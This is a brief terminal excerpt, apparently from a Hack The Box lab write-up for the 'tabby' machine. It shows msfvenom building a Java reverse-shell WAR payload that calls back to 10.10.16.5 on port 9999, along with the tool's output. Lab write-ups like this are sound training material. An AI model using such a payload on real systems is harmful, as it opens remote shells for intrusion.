msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/tabby]
└─$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.5 LPORT=9999 -f war -o shell.war
payload size: 13316 bytes
final size of war file: 13316 bytes
saved as: shell.war

msfvenom generated a reverse shell WAR payload for deployment